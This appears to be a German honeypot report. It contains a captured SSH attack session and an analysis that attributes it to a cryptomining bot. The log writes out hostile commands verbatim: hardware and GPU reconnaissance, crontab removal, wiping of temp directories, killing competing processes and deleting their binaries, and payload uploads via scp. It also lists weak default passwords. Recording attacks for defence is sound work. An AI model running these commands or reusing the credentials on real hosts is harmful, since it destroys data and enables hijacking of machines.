15.10.2026, 18:45 UTC · 61 Befehle · über ssh · Niederlande · 12× wiederholt
user='gdcl-koha' pass='administrator' gdcl-koha@srv01:~$ uname -m | awk '{printf $1}' x86_64 gdcl-koha@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }' 262 days, 04:12 gdcl-koha@srv01:~$ lspci | egrep VGA && lspci | grep 3D 00:02.0 VGA compatible controller: Intel Corporation Xeon E3-1200 v3/4th Gen Core Integrated Graphics Controller (rev 06) gdcl-koha@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- Intel(R) Xeon(R) CPU E5-2650 v3 @ 2.30GHz gdcl-koha@srv01:~$ curl ipinfo.io/org AS14618 gdcl-koha@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 bash: nvidia-smi: command not found gdcl-koha@srv01:~$ nvidia-smi -q | grep "Product Name" bash: nvidia-smi: command not found gdcl-koha@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 gdcl-koha@srv01:~$ uname -n | awk '{printf $1}' node3 gdcl-koha@srv01:~$ uname -r | awk '{printf $1}' 5.4.0-150-generic gdcl-koha@srv01:~$ crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; d… bash: pidof: command not found gdcl-koha@srv01:~$ echo administrator > /tmp/d.log gdcl-koha@srv01:~$ scp -qt "/var/tmp/OQfIpXks" gdcl-koha@srv01:~$ scp -qt "/tmp/OQfIpXks" gdcl-koha@srv01:~$ scp -qt "/dev/shm/OQfIpXks" gdcl-koha@srv01:~$ uname -s -v -n -r -m Linux 5.4.0-150-generic #176-Ubuntu SMP Wed Jun 3 13:09:49 UTC 2020 x86_64 node3 gdcl-koha@srv01:~$ echo user1@123 > /tmp/d.log gdcl-koha@srv01:~$ scp -qt "/var/tmp/sNGnGJIA" gdcl-koha@srv01:~$ scp -qt "/tmp/sNGnGJIA" gdcl-koha@srv01:~$ scp -qt "/dev/shm/sNGnGJIA" gdcl-koha@srv01:~$ uname -s -v -n -r -m Linux 5.4.0-150-generic #176-Ubuntu SMP Wed Jun 3 13:09:49 UTC 2020 x86_64 node3 gdcl-koha@srv01:~$ uname -s -v -n -r -m Linux 5.4.0-150-generic #176-Ubuntu SMP Wed Jun 3 13:09:49 UTC 2020 x86_64 node3 gdcl-koha@srv01:~$ echo pass > /tmp/d.log gdcl-koha@srv01:~$ scp -qt "/var/tmp/orpSMANz" gdcl-koha@srv01:~$ scp -qt "/tmp/orpSMANz" gdcl-koha@srv01:~$ scp -qt "/dev/shm/orpSMANz" gdcl-koha@srv01:~$ uname -s -v -n -r -m Linux 5.4.0-150-generic #176-Ubuntu SMP Wed Jun 3 13:09:49 UTC 2020 x86_64 node3 gdcl-koha@srv01:~$ echo Admin123 > /tmp/d.log gdcl-koha@srv01:~$ scp -qt "/var/tmp/FiUycmYs" gdcl-koha@srv01:~$ scp -qt "/tmp/FiUycmYs" gdcl-koha@srv01:~$ scp -qt "/dev/shm/FiUycmYs" gdcl-koha@srv01:~$ uname -s -v -n -r -m Linux 5.4.0-150-generic #176-Ubuntu SMP Wed Jun 3 13:09:49 UTC 2020 x86_64 node3 gdcl-koha@srv01:~$ echo !QAZ2ws3e > /tmp/d.log gdcl-koha@srv01:~$ scp -qt "/var/tmp/libvpGbh" gdcl-koha@srv01:~$ scp -qt "/tmp/libvpGbh" gdcl-koha@srv01:~$ scp -qt "/dev/shm/libvpGbh" gdcl-koha@srv01:~$ uname -s -v -n -r -m Linux 5.4.0-150-generic #176-Ubuntu SMP Wed Jun 3 13:09:49 UTC 2020 x86_64 node3 gdcl-koha@srv01:~$ echo toor > /tmp/d.log gdcl-koha@srv01:~$ scp -qt "/var/tmp/zZkAMmzZ"
Der Angreifer meldete sich über SSH mit schwachen Zugangsdaten an und führte eine Reihe von Systemabfragen durch, um Hardware, CPU-Typ und GPU-Verfügbarkeit zu ermitteln. Anschließend löschte er temporäre Dateien und beendete Prozesse mit hoher CPU- oder RAM-Auslastung, um Ressourcen freizumachen. Danach versuchte er, mehrere zufällig benannte Dateien über SCP in verschiedene temporäre Verzeichnisse zu übertragen, während er gleichzeitig neue Zugangsdaten in eine Log-Datei schrieb.
Die Befehle uname, uptime, lspci und lscpu sammeln technische Informationen über die Hardware, insbesondere um festzustellen, ob eine GPU für Mining vorhanden ist. Der Befehl crontab -r löscht geplante Aufgaben, während rm -rf temporäre Verzeichnisse leert, um Spuren zu verwischen oder Platz zu schaffen. Die awk-Schleife identifiziert Prozesse mit hoher CPU- oder RAM-Nutzung und beendet sie gewaltsam, um Rechenleistung für eigene Zwecke freizumachen. Die scp-Befehle versuchen, Dateien in /var/tmp, /tmp und /dev/shm zu kopieren, was übliche Speicherorte für Malware sind. Die echo-Befehle schreiben neue Zugangsdaten in eine Datei, was auf einen Versuch hindeutet, den Zugriff zu protokollieren oder zu erweitern.
Das Vorgehen deutet stark auf die Installation eines Kryptominers hin, da die Abfrage nach NVIDIA- und Radeon-Grafikkarten sowie die aggressive Bereinigung konkurrierender Prozesse typisch für Mining-Bots sind. Das wiederholte Hochladen kleiner Dateien in verschiedene Verzeichnisse dient vermutlich der Platzierung einer Payload oder eines Skripts zur Persistenz. Da die Shell fake ist, bleibt offen, ob die Übertragung erfolgreich war, aber die Intention ist klar auf Ressourcenmissbrauch gerichtet.
Dieses Muster ist sehr verbreitet und entspricht automatisierten Skripten, die von Botnetzen wie Mirai-Varianten oder spezialisierten Mining-Bots genutzt werden. Die Kombination aus Hardware-Scan, Prozess-Kill und Datei-Upload ist ein Standardverfahren für automatisierte Angriffe auf ungesicherte SSH-Dienste.